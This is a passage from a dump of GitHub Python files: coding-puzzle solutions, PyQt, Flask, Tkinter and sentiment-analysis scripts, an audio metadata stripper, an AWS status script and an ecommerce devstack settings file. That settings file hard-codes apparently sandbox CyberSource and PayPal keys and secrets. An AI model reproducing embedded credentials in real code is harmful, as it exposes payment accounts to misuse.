Str1\n \n for char in s1:\n char_counts[ord(char)- ord('a')] +=1 #The expression ord(char) - ord('a') calculates the zero-based index of a lowercase letter.\n \n # Check if there is enough characters in str2\n for char in s2:\n index = ord(char)-ord('a') #The expression ord(char) - ord('a') calculates the offset of a lowercase letter from 'a'.\n if char_counts[index] == 0: \n return False\n char_counts[index] -= 1 \n \n return True\n\n\n\n\n\"\"\"\nComplete the function scramble(str1, str2) that returns true if a portion of str1 characters can be rearranged to match str2, otherwise returns false.\n\nNotes:\n\n Only lower case letters will be used (a-z). No punctuation or digits will be included.\n Performance needs to be considered.\n\nExamples\n\nscramble('rkqodlw', 'world') ==> True\nscramble('cedewaraaossoqqyt', 'codewars') ==> True\nscramble('katas', 'steak') ==> False\n\n\n\n\n\"\"\"\n","repo_name":"mrimon93/Code_Wars_Test","sub_path":"Scramblies.py","file_name":"Scramblies.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18630072364","text":"import SettingWindowDesign\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtWidgets import *\r\nimport configparser\r\nimport sys\r\nimport ClearPokidovaCode\r\n\r\nclass WindowSetting(QMainWindow, SettingWindowDesign.Setting_ui):\r\n vl_autoupdate = \"1\"\r\n vl_win_error = \"0\"\r\n vl_promting = \"1\"\r\n vl_new_wl = \"1\"\r\n vl_path_wl = \"\"\r\n vl_version = \"0.3\"\r\n SignalClose = pyqtSignal(str) #создаю сигнал\r\n def __init__(self):\r\n super().__init__()\r\n self.setupUi(self)\r\n self.radio_promting.clicked.connect(self.promting)\r\n self.radio_autoupdate.clicked.connect(self.autoupdate)\r\n self.radio_window_error.clicked.connect(self.error_win)\r\n self.radio_newWL.clicked.connect(self.new_wl)\r\n self.Save_st_button.clicked.connect(self.saveSetting)\r\n self.pushButton_3.clicked.connect(self.openFileNameDialog)\r\n self.close_button.clicked.connect(self.openSetting)\r\n self.openSetting()\r\n\r\n\r\n def closeEvent(self, event):\r\n self.SignalClose.emit(\"fuck\") #отправляю сигнал\r\n\r\n def enable_button(self):\r\n self.Save_st_button.setEnabled(True)\r\n self.close_button.setEnabled(True)\r\n\r\n def promting(self):\r\n self.enable_button()\r\n if self.radio_promting.isChecked() == True:\r\n self.vl_promting = \"1\"\r\n else:\r\n self.vl_promting = \"0\"\r\n\r\n def autoupdate(self):\r\n self.enable_button()\r\n if self.radio_autoupdate.isChecked() == True:\r\n self.vl_autoupdate = \"1\"\r\n else:\r\n self.vl_autoupdate = \"0\"\r\n\r\n def new_wl(self):\r\n self.enable_button()\r\n if self.radio_newWL.isChecked() == True:\r\n self.vl_new_wl = \"1\"\r\n else:\r\n self.vl_new_wl = \"0\"\r\n\r\n def error_win(self):\r\n self.enable_button()\r\n if self.radio_window_error.isChecked() == True:\r\n self.vl_win_error = \"1\"\r\n else:\r\n self.vl_win_error = \"0\"\r\n\r\n def saveSetting(self):\r\n config = configparser.ConfigParser()\r\n config.add_section(\"Settings\")\r\n config.set(\"Settings\", \"promting\", self.vl_promting)\r\n config.set(\"Settings\", \"autoupdate\", self.vl_autoupdate)\r\n config.set(\"Settings\", \"new_wl\", self.vl_new_wl)\r\n config.set(\"Settings\", \"win_error\", self.vl_win_error)\r\n config.set(\"Settings\", \"path wl\", self.vl_path_wl)\r\n config.set(\"Settings\", \"version\", self.vl_version)\r\n with open('data\\setting.ini', 'w') as f:\r\n config.write(f)\r\n\r\n def openSetting(self):\r\n config = configparser.ConfigParser()\r\n config.read('data\\setting.ini')\r\n self.vl_autoupdate = str(config.get(\"Settings\", \"autoupdate\"))\r\n self.vl_promting = str(config.get(\"Settings\", \"promting\"))\r\n self.vl_win_error = str(config.get(\"Settings\", \"win_error\"))\r\n self.vl_new_wl = str(config.get(\"Settings\", \"new_wl\"))\r\n self.vl_path_wl = str(config.get(\"Settings\", \"path wl\"))\r\n self.vl_version = str(config.get(\"Settings\", \"version\"))\r\n self.checkingSet()\r\n\r\n def openFileNameDialog(self):\r\n options = QFileDialog.Options()\r\n fileName, _ = QFileDialog.getOpenFileName(self, \"QFileDialog.getOpenFileName()\", \"\",\r\n \"Words List (*.json);;All Files (*)\", options=options)\r\n if fileName:\r\n print(fileName)\r\n self.vl_path_wl = str(fileName)\r\n self.enable_button()\r\n\r\n def checkingSet(self):\r\n if self.vl_autoupdate == \"1\":\r\n self.radio_autoupdate.setChecked(True)\r\n else:\r\n self.radio_autoupdate.setChecked(False)\r\n if self.vl_promting == \"1\":\r\n self.radio_promting.setChecked(True)\r\n else:\r\n self.radio_promting.setChecked(False)\r\n if self.vl_new_wl == \"1\":\r\n self.radio_newWL.setChecked(True)\r\n else:\r\n self.radio_newWL.setChecked(False)\r\n if self.vl_win_error == \"1\":\r\n self.radio_window_error.setChecked(True)\r\n else:\r\n self.radio_window_error.setChecked(False)\r\n\r\n","repo_name":"TimMarsov/MyFirstProgramPyQt","sub_path":"SettingWindow.py","file_name":"SettingWindow.py","file_ext":"py","file_size_in_byte":4188,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"15379578588","text":"from flask import Flask, render_template, request\nimport boto3\nimport json\n\nfound=1\napp = Flask(__name__)\n\n@app.route(\"/\", methods=('GET', 'POST'))\ndef index():\n if request.method == \"GET\":\n return render_template(\"index.html\")\n else:\n city=request.form['cities']\n zone=request.form['zones']\n result=getFreeParkings(str(city), str(zone), \"static_mode\")\n return render_template(\"index.html\", result=result, length=len(result), found=found, zone=zone)\n\n@app.route(\"/nearestParkings\", methods=('GET', 'POST'))\ndef nearestParkings():\n user_coordinates=[41.076448, 14.357053]\n result=getFreeParkings(\"Caserta\", \"10001\", \"user_mode\")\n return render_template(\"index.html\", result=result, length=len(result), found=0, user_coords=user_coordinates)\n\n\n\n\ndynamodb = boto3.resource('dynamodb', endpoint_url=\"http://localhost:4566\")\n\ntable = dynamodb.Table('Parkings')\n\ndef getFreeParkings(city, zone, mode):\n client = boto3.client('lambda', endpoint_url=\"http://localhost:4566\")\n if mode == \"static_mode\":\n payload= '{\"city\": \"'+city+'\", \"zone\": \"'+zone+'\", \"mode\": \"static_mode\"}'\n elif mode == \"user_mode\":\n payload= '{\"city\": \"'+city+'\", \"zone\": \"'+zone+'\",\"mode\": \"user_mode\"}'\n \n response = client.invoke(\n FunctionName='Nearest_Parking_Area_Function',\n InvocationType='RequestResponse',\n LogType='Tail',\n Payload=payload\n )\n coords_list= decode_response(response)\n return coords_list\n\ndef decode_response(data):\n data = data['Payload'].read().decode()\n global found\n coords_list=[]\n js = json.loads(data)\n js_len=len(js)\n print (js)\n if -1 in js:\n found=0\n js.pop()\n else:\n found=1\n if js_len!=0:\n for i in range(len(js)):\n for value in js[i].values():\n coords_list.append(value) \n return coords_list\n","repo_name":"AndreaT98/EzPark","sub_path":"PyWebsite/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39826215117","text":"import re\n\nimport typing\nList = typing.List\n\nimport re\n\n# tons of redundant steps here\nclass SolutionMy:\n def findBlackPixel(self, picture: List[List[str]], N: int) -> int:\n rows = [''.join(arr[0]) for arr in zip(picture)]\n cols = [''.join(arr) for arr in zip(*picture)]\n tot = 0\n visited = set()\n for i in range(len(picture)):\n for j in range(len(picture[0])):\n if picture[i][j] == 'B' and (i, j) not in visited:\n n = list(re.finditer('B', rows[i]))\n m = list(re.finditer('B', cols[j]))\n pivotarr = rows[i]\n cnt = 0\n local_visited = set()\n if len(m) == len(n) and len(m) == N:\n\n for item in m:\n s = item.start()\n if rows[s] == pivotarr:\n cnt += 1\n local_visited.add((s, j))\n else:\n cnt = 0\n local_visited = set()\n break\n visited.update(local_visited)\n tot += cnt\n return tot\n\n\nclass SolutionShort:\n '''\n zip(*picture) is array of columns\n we start iterate over columns\n in each iteration we have a list with symbols of a particular column\n for example, the first iteration will have (W,W,W,W) but since it does not have B\n we will continue\n otherwise we count 'B' here and the TRICK is the index of 'B' represents index of row in picture this B at\n so, we have first row where first B resides, now we can count the first rows and compare with k\n\n\n '''\n def findBlackPixel(self, picture: List[List[str]], k: int) -> int:\n if not picture or not picture[0]: return 0\n\n count = 0\n for c in zip(*picture):\n if c.count('B') != k: continue\n first_row = picture[c.index('B')]\n if first_row.count('B') != k: continue\n if picture.count(first_row) != k: continue\n count += 1\n return count * k\n\nif __name__ == \"__main__\":\n s= SolutionShort()\n s.findBlackPixel([[\"W\",\"B\",\"W\",\"B\",\"B\",\"W\"],\n [\"W\",\"B\",\"W\",\"B\",\"B\",\"W\"],\n [\"W\",\"B\",\"W\",\"B\",\"B\",\"W\"],\n [\"W\",\"W\",\"B\",\"W\",\"B\",\"W\"]],\n3)\n","repo_name":"arsamigullin/problem_solving_python","sub_path":"leet/google/trees_and_graphs/lonely_pixel_II.py","file_name":"lonely_pixel_II.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11268639743","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n###########################################################\n###########################################################\n# This script was created to cconduct a sentiment analysis using TextBlob on local government tweets\n#Author: Elisabeth Jones\n#Date Created: 2-19-21\n###########################################################\n###########################################################\n\n#############################################################\n#subjecctivity: (0-1) where 0 indicats the text is object and 1 indactes subjectivity\n#polarity: (-1-1) where negative score is a negative comment and positive score a positive comment\n#############################################################\n\nimport pandas as pd\nfrom textblob import TextBlob\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n#import data frame and create df excluding retweets (dfrt) - need to update for each city \ndf = pd.read_csv(r\"C:\\\\Users\\\\ejones3387\\\\Desktop\\\\Thesis\\\\DataFiles\\\\DT_local.csv\")\ndf.columns\n\ndf['duplicates'] = df.duplicated('full_text')\ndf = df.loc[df['duplicates'] == False] #521 excluding retweets\n\n\n#df['rtflag'] = df['retweeted_id'].notnull()\n#df['rtflag'].head()\n\n#dfrt = df.loc[df['rtflag']== False]\n\n####################### Sentiment Analysis #########################\n\n# The x in the lambda function is a row (because I set axis=1)\n# Apply iterates the function to [‘text’] field across the dataframe's rows\ndf['polarity'] = df.apply(lambda x: TextBlob(x['full_text']).sentiment.polarity, axis=1)\ndf['subjectivity'] = df.apply(lambda x: TextBlob(x['full_text']).sentiment.subjectivity, axis=1)\n\n#creating boolean positive and subjective columns\ndf['positive'] = df['polarity'] > 0\ndf['subjective'] = df['subjectivity'] > .5\n\n#set sns color palatte\ncolors = [\"#2F5F8A\", \"#2F5F8A\"]\nsns.set_palette(sns.color_palette(colors))\nsns.set_style('white')\n\n##bar graph of overall pos vs neg\ng = sns.factorplot(x='positive', \n data=df, \n aspect=1.5, \n kind='count')\ng.set(xticklabels = ['negative', 'positive'])\ng.set_xlabels(\" \")\n#plt.title(\"Local Government Positivity\")\n\ng.savefig(r'C:\\Users\\ejones3387\\Desktop\\Thesis\\DataFiles\\sentiment\\DT\\nort_pos.png')\n\n###bar graph of overall subjectivity\nsns.set_style('white')\nf = sns.factorplot(x='subjective', \n data=df, \n aspect=1.5, \n kind='count')\nf.set(xticklabels = ['objective', 'subjective'])\nf.set_xlabels(\" \")\n\nf.savefig(r'C:\\Users\\ejones3387\\Desktop\\Thesis\\DataFiles\\sentiment\\DT\\nort_subj.png')\n\n\n####################### Mayoral slice - Sentiment Analysis #########################\n\n\n#mayroal slice - update for each city \ndf['duggan'] = df[\"full_text\"].str.contains(\"Duggan|MayorMikeDuggan\")\nduggan = df.loc[df[\"duggan\"] == True]\n\n\n#set sns color palatte turq =#00868B purp=#270e59 grn=#83d070 ylw#f8cf1d\ncolors = [\"#2F5F8A\", \"#2F5F8A\"]\nsns.set_palette(sns.color_palette(colors))\nsns.set_style('white')\n\n##bar graph of overall pos vs neg\ng = sns.factorplot(x='positive', \n data=duggan, \n aspect=1.5, \n kind='count')\ng.set(xticklabels = ['negative', 'positive'])\ng.set_xlabels(\" \")\n#plt.title(\"Local Government Positivity\")\n\ng.savefig(r'C:\\Users\\ejones3387\\Desktop\\Thesis\\DataFiles\\sentiment\\DT\\Duggan_nort_pos.png')\n\n##bar graph of overall subjectivity\nsns.set_style('white')\nf = sns.factorplot(x='subjective', \n data=duggan, \n aspect=1.5, \n kind='count') \nf.set(xticklabels = ['objective', 'subjective'])\nf.set_xlabels(\" \")\n\nf.savefig(r'C:\\Users\\ejones3387\\Desktop\\Thesis\\DataFiles\\sentiment\\DT\\duggan_nort_subj.png')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"jones-elisabeth/localgovt_covid19","sub_path":"sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"27402259202","text":"#\n# @lc app=leetcode id=45 lang=python3\n#\n# [45] Jump Game II\n#\n\n# @lc code=start\nclass Solution:\n def jump(self, nums: List[int]) -> int:\n n = len(nums)\n dp = [0] * n\n for i in range(1, n):\n dp[i] = float('inf')\n for j in range(i):\n \t# 如果从j可以到跳到i\n if nums[j] + j >= i:\n dp[i] = min(dp[i], dp[j] + 1)\n return dp[n - 1]\n# @lc code=end\n\n","repo_name":"worldofmagic/leetcode","sub_path":"python/45.jump-game-ii.py","file_name":"45.jump-game-ii.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11454058750","text":"import argparse\nimport os\n\nfrom proofreader.runner import run\n\nDIRECTORY = os.getcwd()\n\nPARSER = argparse.ArgumentParser(description='proofreader')\n\nPARSER.add_argument('--check-licenses', type=bool, help='Check for supported licenses .e.g. true')\nPARSER.add_argument('--targets', default=[], nargs='*',\n help='Target files and directories .e.g. dir1/* file1.py file2.py')\n\nARGS = PARSER.parse_args()\n\n\ndef main():\n run(targets=ARGS.targets, config_dir=DIRECTORY, check_licenses=ARGS.check_licenses)\n","repo_name":"elifesciences/proofreader-python","sub_path":"proofreader/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"38011449654","text":"import PlayableColorStrategy as pcs\nclass CentralPositionStrategy(pcs.PlayableColorStrategy):\n \"\"\"\n Rank positions toward the center of the board higher than those toward\n the periphery.\n \"\"\"\n def evaluate(self, options, board, game = None):\n # Create a map from color & row number to a value\n import FinalBoardComponent as fbc\n import Strategy as strat\n\n crvals = {}\n pbrd = board.finalboard\n bcolors = pbrd.underrows\n for rownum in range(fbc.FinalBoardComponent.dimension):\n for columnnum in range(fbc.FinalBoardComponent.dimension):\n # 2,2 is the center => highest value\n crvals[(bcolors[rownum][columnnum], rownum)] = 4 - \\\n (abs(rownum - 2) + abs(columnnum - 2))\n\n evals = []\n for opt in options:\n dispnum = opt[0]\n for color in opt[2:]:\n if color == \"1\":\n continue\n for rownum in range(fbc.FinalBoardComponent.dimension):\n if board.prepboard.canplace(rownum, color) and \\\n not board.prepboard.rowfull(rownum):\n evals.append(dispnum + color + str(rownum) + \"_\" + \\\n str(crvals[(color, rownum)]))\n if len(evals) == 0:\n return (super().evaluate(options, board, game))\n\n evals.sort(key=strat.getcount2, reverse=True)\n # print(\"Central position evals = \"+ str(evals))\n return (evals)\n","repo_name":"fitzscott/Azul","sub_path":"CentralPositionStrategy.py","file_name":"CentralPositionStrategy.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25590546747","text":"'''\n Care about audio fileformat\n'''\ntry:\n from mutagen.flac import FLAC\n from mutagen.oggvorbis import OggVorbis\nexcept ImportError:\n pass\n\n\nimport parser\nimport shutil\n\n\nclass MpegAudioStripper(parser.GenericParser):\n '''\n Represent mpeg audio file (mp3, ...)\n '''\n def _should_remove(self, field):\n if field.name in (\"id3v1\", \"id3v2\"):\n return True\n else:\n return False\n\n\nclass OggStripper(parser.GenericParser):\n '''\n Represent an ogg vorbis file\n '''\n def remove_all(self):\n if self.backup is True:\n shutil.copy2(self.filename, self.output)\n self.filename = self.output\n\n mfile = OggVorbis(self.filename)\n mfile.delete()\n mfile.save()\n\n def is_clean(self):\n '''\n Check if the \"metadata\" block is present in the file\n '''\n mfile = OggVorbis(self.filename)\n if mfile.tags == []:\n return True\n else:\n return False\n\n def get_meta(self):\n '''\n Return the content of the metadata block if present\n '''\n metadata = {}\n mfile = OggVorbis(self.filename)\n for key, value in mfile.tags:\n metadata[key] = value\n return metadata\n\n\nclass FlacStripper(parser.GenericParser):\n '''\n Represent a Flac audio file\n '''\n def remove_all(self):\n '''\n Remove the \"metadata\" block from the file\n '''\n if self.backup is True:\n shutil.copy2(self.filename, self.output)\n self.filename = self.output\n\n mfile = FLAC(self.filename)\n mfile.delete()\n mfile.clear_pictures()\n mfile.save()\n\n def is_clean(self):\n '''\n Check if the \"metadata\" block is present in the file\n '''\n mfile = FLAC(self.filename)\n if mfile.tags is None and mfile.pictures == []:\n return True\n else:\n return False\n\n def get_meta(self):\n '''\n Return the content of the metadata block if present\n '''\n metadata = {}\n mfile = FLAC(self.filename)\n if mfile.tags is not None:\n if mfile.pictures != []:\n metadata['picture :'] = 'yes'\n for key, value in mfile.tags:\n metadata[key] = value\n return metadata\n","repo_name":"4ZM/Metadata-Anonymisation-Toolkit","sub_path":"mat/audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"47"} +{"seq_id":"26633492177","text":"# https://www.acmicpc.net/problem/11724\n\nfrom collections import deque\nimport sys\n\n\nN , M = map(int, sys.stdin.readline().rstrip().split())\n\n# 0 index는 사용하지 않을려고 한다.\ngraph = [ [] for _ in range(N+1)]\n\nvisited=[0] * (N+1)\n\ncount = 0\n\nfor _ in range(M):\n a,b = map(int, sys.stdin.readline().split())\n\n # 양방향 설정\n graph[a] += [b]\n graph[b] += [a]\n\n\ndef bfs(M):\n global count\n\n Q=deque([M])\n visited[M]=1\n \n # Q에 데이터가 들어오는 시점부터 방문 처리를 바로 해준다.\n while Q:\n now=Q.popleft()\n \n # now 노드와 연결된 노드를 확인\n for i in graph[now]:\n\n # 방문하지 않는 경우\n if visited[i] == 0:\n visited[i] = 1\n \n # 각 연결된 노드에서 또 연결된 노드를 넣는다.\n Q.append(i)\n\n# 문제에서는 인접한 요소의 개수가 아닌, 간선으로 연결된 전체 연결 요소의 개수를 구하고자 한다.\nfor i in range(1, N + 1):\n # BFS를 통해 연결된 여러 노드를 방문처리하고, 방문된 노드들은 모두 1개의 선으로 연결되어 있다.\n # 다음 노드를 이미 방문했다면, 방문하지 않은 노드를 찾고 count 개수를 올려준다.\n if visited[i] == 0:\n bfs(i)\n count += 1\n\nprint(count)","repo_name":"soochangoforit/Algorithm","sub_path":"BackJoon Online Judge/class3/11724.py","file_name":"11724.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73248344462","text":"# 38. Count and Say\nclass Solution:\n def countAndSay(self, n: int) -> str:\n # base case\n if n == 1:\n return \"1\"\n\n # get the output of n-1, i.e. the digit string output of countAndSay(n-1)\n prev = self.countAndSay(n - 1)\n\n # how to say this string\n result = \"\"\n curr_d = prev[0]\n count = 1\n\n for i in range(1, len(prev)):\n if prev[i] != curr_d:\n result += (str(count) + curr_d)\n curr_d = prev[i]\n count = 1\n else:\n count += 1\n\n # append final sequence to result\n result += (str(count) + curr_d)\n return result\n","repo_name":"lexiewangdl/pyalgo","sub_path":"string/count_and_say.py","file_name":"count_and_say.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"19854342327","text":"server_status.py\r\nimport boto3\r\nimport os\r\nimport csv\r\nimport time\r\nimport pdb\r\nimport base64\r\nimport paramiko\r\nfrom config import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_DEFAULT_REGION\r\nimport ssh_conn\r\ntag_name = [\r\n \"MWEB-server\",\r\n \"wwwexample-AutoScale\",\r\n \"auth-service\",\r\n \"courier-service\",\r\n \"engine-auto\",\r\n\r\n]\r\nclass color:\r\n PURPLE = '\\033[95m'\r\n CYAN = '\\033[96m'\r\n DARKCYAN = '\\033[36m'\r\n BLUE = '\\033[94m'\r\n GREEN = '\\033[92m'\r\n YELLOW = '\\033[93m'\r\n RED = '\\033[91m'\r\n BOLD = '\\033[1m'\r\n UNDERLINE = '\\033[4m'\r\n END = '\\033[0m'\r\n\r\nclass Server_Status:\r\n def __init__(self):\r\n self.conn_aws()\r\n self.Pri_ip()\r\n\r\n def conn_aws(self):\r\n self.client = boto3.client(\r\n 'ec2',\r\n aws_access_key_id=AWS_ACCESS_KEY_ID,\r\n aws_secret_access_key=AWS_SECRET_ACCESS_KEY,\r\n region_name=AWS_DEFAULT_REGION\r\n\r\n )\r\n\r\n\r\n\r\n def Pri_ip(self):\r\n for server_name in tag_name:\r\n\r\n des_res = self.client.describe_instances(Filters=[{'Name':'tag:Name', 'Values':[server_name,]}])\r\n for ind in range(len(des_res['Reservations'])):\r\n private_ip = des_res['Reservations'][ind]['Instances'][0]['PrivateIpAddress']\r\n print('################################################################')\r\n print('#', server_name, '-----------------------------', private_ip, '#')\r\n print('################################################################')\r\n ssh_conn.ssh_conn_pri(private_ip)\r\n print('--------------------------------------------------------------')\r\n #pdb.set_trace()\r\n\r\n\r\nServer_Status()\r\n\r\n","repo_name":"avinash2028/avi-projects-pub","sub_path":"python_scrips/server_status.py","file_name":"server_status.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12314584370","text":"#============ Making A form ============\n\nfrom tkinter import *\nlist1 =[]\ndef infostore():\n x = []\n a = uservalue.get()\n x.append(f\"username: {a}\")\n b = user_info1value.get()\n x.append(f\"Father's name:{b}\")\n c = user_info2value.get()\n x.append(f\"Phone Number: {c}\")\n d = user_info3value.get()\n x.append(f\"Email Id : {d}\")\n list1.append(x)\n \n\nroot = Tk()\n\nroot.geometry(\"655x355\")\n\nframe = Frame(root)\nframe.pack(side=LEFT,anchor=\"w\")\nuser = Label(frame,text=\"Enter Your Name\")\nuser_info1 = Label(frame,text= \"Father's Name\")\nuser_info2 = Label(frame,text= \"Enter Phone Number\")\nuser_info3 = Label(frame,text= \"Email ID\")\n\nuser.grid(row=5,column=1)\nuser_info1.grid(row=6,column=1)\nuser_info2.grid(row=7,column=1)\nuser_info3.grid(row=8,column=1)\n\nuservalue = StringVar()\nuser_info1value = StringVar()\nuser_info2value = StringVar()\nuser_info3value = StringVar()\n\nuserentry = Entry(frame , textvariable= uservalue)\nuser_info1entery = Entry(frame,textvariable = user_info1value)\nuser_info2entry = Entry(frame,textvariable = user_info2value)\nuser_info3entry = Entry(frame,textvariable = user_info3value)\n\nuserentry.grid(row=5,column=2)\nuser_info1entery.grid(row=6,column=2)\nuser_info2entry.grid(row=7,column=2)\nuser_info3entry.grid(row=8,column=2)\n\nButton(frame,text = \"Submit\" , command=infostore).grid(row=9,column=2)\n\nroot.mainloop()\n\nprint(list1)","repo_name":"Pankaj-GoSu/Tkinter-Python","sub_path":"tut9quiz.py","file_name":"tut9quiz.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25639760301","text":"\"\"\"Devstack settings\"\"\"\n\n\nfrom corsheaders.defaults import default_headers as corsheaders_default_headers\n\nfrom ecommerce.settings.production import *\n\n# noinspection PyUnresolvedReferences\nfrom ecommerce.settings._debug_toolbar import * # isort:skip\n\nDEBUG = True\nINTERNAL_IPS = ['127.0.0.1']\nENABLE_AUTO_AUTH = True\n\n# The django server cannot handle https calls\nPROTOCOL = 'http'\n\n# Docker does not support the syslog socket at /dev/log. Rely on the console.\nLOGGING['handlers']['local'] = {\n 'class': 'logging.NullHandler',\n}\n\nSOCIAL_AUTH_REDIRECT_IS_HTTPS = False\nSESSION_COOKIE_SECURE = False\n\n# Allow live changes to JS and CSS\nCOMPRESS_OFFLINE = False\nCOMPRESS_ENABLED = False\n\nBACKEND_SERVICE_EDX_OAUTH2_KEY = \"ecommerce-backend-service-key\"\nBACKEND_SERVICE_EDX_OAUTH2_SECRET = \"ecommerce-backend-service-secret\"\nBACKEND_SERVICE_EDX_OAUTH2_PROVIDER_URL = \"http://edx.devstack.lms:18000/oauth2\"\n\nJWT_AUTH.update({\n # Temporarily set JWT_DECODE_HANDLER until new devstack images are built\n # with this updated connfiguration: https://github.com/openedx/configuration/pull/6921.\n 'JWT_DECODE_HANDLER': 'edx_rest_framework_extensions.auth.jwt.decoder.jwt_decode_handler',\n 'JWT_ISSUER': 'http://localhost:18000/oauth2',\n 'JWT_ISSUERS': [{\n 'AUDIENCE': 'lms-key',\n 'ISSUER': 'http://localhost:18000/oauth2',\n 'SECRET_KEY': 'lms-secret',\n }],\n # Must match public signing key used in LMS.\n 'JWT_PUBLIC_SIGNING_JWK_SET': (\n '{\"keys\": [{\"kid\": \"devstack_key\", \"e\": \"AQAB\", \"kty\": \"RSA\", \"n\": \"smKFSYowG6nNUAdeqH1jQQnH1PmIHphzBmwJ5vRf1vu'\n '48BUI5VcVtUWIPqzRK_LDSlZYh9D0YFL0ZTxIrlb6Tn3Xz7pYvpIAeYuQv3_H5p8tbz7Fb8r63c1828wXPITVTv8f7oxx5W3lFFgpFAyYMmROC'\n '4Ee9qG5T38LFe8_oAuFCEntimWxN9F3P-FJQy43TL7wG54WodgiM0EgzkeLr5K6cDnyckWjTuZbWI-4ffcTgTZsL_Kq1owa_J2ngEfxMCObnzG'\n 'y5ZLcTUomo4rZLjghVpq6KZxfS6I1Vz79ZsMVUWEdXOYePCKKsrQG20ogQEkmTf9FT_SouC6jPcHLXw\"}]}'\n ),\n})\n\nCORS_ORIGIN_WHITELIST = (\n 'http://localhost:1991', # Enterprise Admin Portal MFE\n 'http://localhost:1996',\n 'http://localhost:1997', # Account MFE\n 'http://localhost:1998',\n 'http://localhost:2000', # Learning MFE\n 'http://localhost:8734', # Enterprise Learner Portal MFE\n)\nCORS_ALLOW_HEADERS = corsheaders_default_headers + (\n 'use-jwt-cookie',\n)\nCORS_ALLOW_CREDENTIALS = True\n\nECOMMERCE_MICROFRONTEND_URL = 'http://localhost:1996'\n\nENTERPRISE_CATALOG_API_URL = urljoin(f\"{ENTERPRISE_CATALOG_SERVICE_URL}/\", 'api/v1/')\n\nENTERPRISE_ANALYTICS_API_URL = 'http://edx.devstack.analyticsapi:19001'\n\n# PAYMENT PROCESSING\nPAYMENT_PROCESSOR_CONFIG = {\n 'edx': {\n 'cybersource': {\n 'merchant_id': 'edx_org',\n 'transaction_key': '2iJRV1OoAiMxSsFRQfkmdeqYKzwV76R5AY7vs/zKCQf2Dy0gYsno6sEizavo9rz29kcq/s2F+nGP0DrNNwDXyAxI3FW77HY+0jAssnXwd8cW1Pt5aEBcQvnOQ4i9nbN2mr1XJ+MthRbNodz1FgLFuTiZenpjFq1DFmQwFi2u7V1ItQrmG19kvnpk1++mZ8Dx7s4GdN8jxdvesNGoKo7E05X6LZTHdUCP3rfq/1Nn4RDoPvxtv9UMe77yxtUF8LVJ8clAl4VyW+6uhmgfIWninfQiESR0HQ++cNJS1EXHjwNyuDEdEALKxAwgUu4DQpFbTD1bcRRm4VrnDr6MsA8NaA==',\n 'soap_api_url': 'https://ics2wstest.ic3.com/commerce/1.x/transactionProcessor/CyberSourceTransaction_1.166.wsdl',\n 'cancel_checkout_path': PAYMENT_PROCESSOR_CANCEL_PATH,\n 'send_level_2_3_details': True,\n 'flex_shared_secret_key_id': 'd2df1f49-dffa-4814-8da2-2751a62b79a6',\n 'flex_shared_secret_key': 'c9QEORcKDT7u27zLtuy2S0T/HfKo8gl+JnCy6OHtm9Q=',\n },\n 'cybersource-rest': {\n 'merchant_id': 'edx_org',\n 'transaction_key': '2iJRV1OoAiMxSsFRQfkmdeqYKzwV76R5AY7vs/zKCQf2Dy0gYsno6sEizavo9rz29kcq/s2F+nGP0DrNNwDXyAxI3FW77HY+0jAssnXwd8cW1Pt5aEBcQvnOQ4i9nbN2mr1XJ+MthRbNodz1FgLFuTiZenpjFq1DFmQwFi2u7V1ItQrmG19kvnpk1++mZ8Dx7s4GdN8jxdvesNGoKo7E05X6LZTHdUCP3rfq/1Nn4RDoPvxtv9UMe77yxtUF8LVJ8clAl4VyW+6uhmgfIWninfQiESR0HQ++cNJS1EXHjwNyuDEdEALKxAwgUu4DQpFbTD1bcRRm4VrnDr6MsA8NaA==',\n 'soap_api_url': 'https://ics2wstest.ic3.com/commerce/1.x/transactionProcessor/CyberSourceTransaction_1.166.wsdl',\n 'cancel_checkout_path': PAYMENT_PROCESSOR_CANCEL_PATH,\n 'send_level_2_3_details': True,\n 'flex_shared_secret_key_id': 'd2df1f49-dffa-4814-8da2-2751a62b79a6',\n 'flex_shared_secret_key': 'c9QEORcKDT7u27zLtuy2S0T/HfKo8gl+JnCy6OHtm9Q=',\n },\n 'paypal': {\n 'mode': 'sandbox',\n 'client_id': 'AVcS4ZWEk7IPqaJibex3bCR0_lykVQ2BHdGz6JWVik0PKWGTOQzWMBOHRppPwFXMCPUqRsoBUDSE-ro5',\n 'client_secret': 